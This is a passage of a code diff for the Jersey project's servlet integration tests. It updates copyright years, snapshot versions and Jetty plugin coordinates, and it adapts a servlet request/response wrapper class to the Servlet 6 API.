             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee9</groupId>
+                <artifactId>jetty-ee9-maven-plugin</artifactId>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml
index d19047d..af13afd 100644
--- a/tests/integration/servlet-2.5-reload/pom.xml
+++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-2.5-reload</artifactId>
diff --git a/tests/integration/servlet-3-async/pom.xml b/tests/integration/servlet-3-async/pom.xml
index c61d313..7c29b93 100644
--- a/tests/integration/servlet-3-async/pom.xml
+++ b/tests/integration/servlet-3-async/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-async</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-chunked-io/pom.xml b/tests/integration/servlet-3-chunked-io/pom.xml
index eb2e704..6f956d1 100644
--- a/tests/integration/servlet-3-chunked-io/pom.xml
+++ b/tests/integration/servlet-3-chunked-io/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-chunked-io</artifactId>
@@ -65,8 +65,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-filter/pom.xml b/tests/integration/servlet-3-filter/pom.xml
index e1e7d0f..bc2fa1a 100644
--- a/tests/integration/servlet-3-filter/pom.xml
+++ b/tests/integration/servlet-3-filter/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-filter</artifactId>
@@ -61,8 +61,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-gf-async/pom.xml b/tests/integration/servlet-3-gf-async/pom.xml
index 351a4fd..216cccf 100644
--- a/tests/integration/servlet-3-gf-async/pom.xml
+++ b/tests/integration/servlet-3-gf-async/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-gf-async</artifactId>
diff --git a/tests/integration/servlet-3-inflector-1/pom.xml b/tests/integration/servlet-3-inflector-1/pom.xml
index ed0c95a..2d3caf4 100644
--- a/tests/integration/servlet-3-inflector-1/pom.xml
+++ b/tests/integration/servlet-3-inflector-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-inflector-1</artifactId>
@@ -43,7 +43,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -65,8 +64,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-1/pom.xml b/tests/integration/servlet-3-init-1/pom.xml
index 0f67fa0..b5a8fa4 100644
--- a/tests/integration/servlet-3-init-1/pom.xml
+++ b/tests/integration/servlet-3-init-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-1</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-2/pom.xml b/tests/integration/servlet-3-init-2/pom.xml
index e419e13..8ab5315 100644
--- a/tests/integration/servlet-3-init-2/pom.xml
+++ b/tests/integration/servlet-3-init-2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-2</artifactId>
@@ -64,8 +64,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-3/pom.xml b/tests/integration/servlet-3-init-3/pom.xml
index 9a8b541..b2e2e94 100644
--- a/tests/integration/servlet-3-init-3/pom.xml
+++ b/tests/integration/servlet-3-init-3/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-3</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-4/pom.xml b/tests/integration/servlet-3-init-4/pom.xml
index aa74996..9fc4983 100644
--- a/tests/integration/servlet-3-init-4/pom.xml
+++ b/tests/integration/servlet-3-init-4/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-4</artifactId>
@@ -59,8 +59,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-5/pom.xml b/tests/integration/servlet-3-init-5/pom.xml
index 029f8e2..3a7575f 100644
--- a/tests/integration/servlet-3-init-5/pom.xml
+++ b/tests/integration/servlet-3-init-5/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-5</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-6/pom.xml b/tests/integration/servlet-3-init-6/pom.xml
index c18feab..4e00536 100644
--- a/tests/integration/servlet-3-init-6/pom.xml
+++ b/tests/integration/servlet-3-init-6/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-6</artifactId>
@@ -57,8 +57,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-7/pom.xml b/tests/integration/servlet-3-init-7/pom.xml
index 20cb7e2..dc0b47a 100644
--- a/tests/integration/servlet-3-init-7/pom.xml
+++ b/tests/integration/servlet-3-init-7/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-7</artifactId>
@@ -58,8 +58,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-8/pom.xml b/tests/integration/servlet-3-init-8/pom.xml
index 3acf8bc..83ff80e 100644
--- a/tests/integration/servlet-3-init-8/pom.xml
+++ b/tests/integration/servlet-3-init-8/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-8</artifactId>
@@ -58,8 +58,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-9/pom.xml b/tests/integration/servlet-3-init-9/pom.xml
index c31c844..4b081ff 100644
--- a/tests/integration/servlet-3-init-9/pom.xml
+++ b/tests/integration/servlet-3-init-9/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-9</artifactId>
@@ -42,7 +42,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -64,8 +63,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-init-provider/pom.xml b/tests/integration/servlet-3-init-provider/pom.xml
index eed50db..15127e1 100644
--- a/tests/integration/servlet-3-init-provider/pom.xml
+++ b/tests/integration/servlet-3-init-provider/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-init-provider</artifactId>
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -68,8 +67,8 @@
                 </configuration>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-params/pom.xml b/tests/integration/servlet-3-params/pom.xml
index d8983e0..b35ddaf 100644
--- a/tests/integration/servlet-3-params/pom.xml
+++ b/tests/integration/servlet-3-params/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-params</artifactId>
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -62,8 +61,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-3-sse-1/pom.xml b/tests/integration/servlet-3-sse-1/pom.xml
index acd00bf..c507d00 100644
--- a/tests/integration/servlet-3-sse-1/pom.xml
+++ b/tests/integration/servlet-3-sse-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-3-sse-1</artifactId>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml
index d9111b1..492ee36 100644
--- a/tests/integration/servlet-4.0-mvc-1/pom.xml
+++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-4.0-mvc-1</artifactId>
@@ -49,7 +49,14 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
         </dependency>
 
         <dependency>
@@ -75,14 +82,13 @@
                 </configuration>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
-                <!--TODO jakartify this -->
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <dependencies>
                     <dependency>
                         <groupId>jakarta.servlet</groupId>
                         <artifactId>jakarta.servlet-api</artifactId>
-                        <version>${servlet5.version}</version>
+                        <version>${servlet6.version}</version>
                     </dependency>
                 </dependencies>
                 <configuration>
@@ -91,24 +97,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>jakarta.xml.bind</groupId>
-                    <artifactId>jakarta.xml.bind-api</artifactId>
-                </dependency>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
-
 </project>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/pom.xml b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
index 5c0fe99..d23b7da 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding-2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding-2</artifactId>
@@ -40,7 +40,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -68,8 +68,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
index 86017ec..e152f64 100644
--- a/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
+++ b/tests/integration/servlet-request-wrapper-binding-2/src/main/java/org/glassfish/jersey/tests/integration/servlet_request_wrapper_binding2/RequestResponseWrapperProvider.java
@@ -1,4 +1,5 @@
 /*
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
  * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -39,6 +40,7 @@
 import jakarta.servlet.AsyncContext;
 import jakarta.servlet.DispatcherType;
 import jakarta.servlet.RequestDispatcher;
+import jakarta.servlet.ServletConnection;
 import jakarta.servlet.ServletContext;
 import jakarta.servlet.ServletException;
 import jakarta.servlet.ServletInputStream;
@@ -291,16 +293,6 @@
                 }
 
                 @Override
-                public String encodeUrl(String s) {
-                    return getHttpServletResponse().encodeUrl(s);
-                }
-
-                @Override
-                public String encodeRedirectUrl(String s) {
-                    return getHttpServletResponse().encodeRedirectUrl(s);
-                }
-
-                @Override
                 public void sendError(int i, String s) throws IOException {
                     getHttpServletResponse().sendError(i, s);
                 }
@@ -330,14 +322,17 @@
                     getHttpServletResponse().setHeader(h, v);
                 }
 
+                @Override
                 public Collection<String> getHeaderNames() {
                     return getHttpServletResponse().getHeaderNames();
                 }
 
+                @Override
                 public Collection<String> getHeaders(String s) {
                     return getHttpServletResponse().getHeaders(s);
                 }
 
+                @Override
                 public String getHeader(String s) {
                     return getHttpServletResponse().getHeader(s);
                 }
@@ -368,11 +363,6 @@
                 }
 
                 @Override
-                public void setStatus(int i, String s) {
-                    getHttpServletResponse().setStatus(i, s);
-                }
-
-                @Override
                 public String getCharacterEncoding() {
                     return getHttpServletResponse().getCharacterEncoding();
                 }
@@ -501,6 +491,22 @@
     private abstract static class MyHttpServletRequestImpl implements HttpServletRequest {
 
         @Override
+        public String getRequestId() {
+            return getHttpServletRequest().getRequestId();
+        }
+
+        @Override
+        public String getProtocolRequestId() {
+            return getHttpServletRequest().getProtocolRequestId();
+        }
+
+        @Override
+        public ServletConnection getServletConnection() {
+            return getHttpServletRequest().getServletConnection();
+        }
+
+
+        @Override
         public String getAuthType() {
             return getHttpServletRequest().getAuthType();
         }
@@ -658,11 +664,6 @@
         }
 
         @Override
-        public boolean isRequestedSessionIdFromUrl() {
-            return getHttpServletRequest().isRequestedSessionIdFromUrl();
-        }
-
-        @Override
         public Object getAttribute(String s) {
             return getHttpServletRequest().getAttribute(s);
         }
@@ -783,11 +784,6 @@
         }
 
         @Override
-        public String getRealPath(String s) {
-            return getHttpServletRequest().getRealPath(s);
-        }
-
-        @Override
         public int getRemotePort() {
             return getHttpServletRequest().getRemotePort();
         }
diff --git a/tests/integration/servlet-request-wrapper-binding/pom.xml b/tests/integration/servlet-request-wrapper-binding/pom.xml
index 677d230..1399245 100644
--- a/tests/integration/servlet-request-wrapper-binding/pom.xml
+++ b/tests/integration/servlet-request-wrapper-binding/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet-request-wrappper-binding</artifactId>
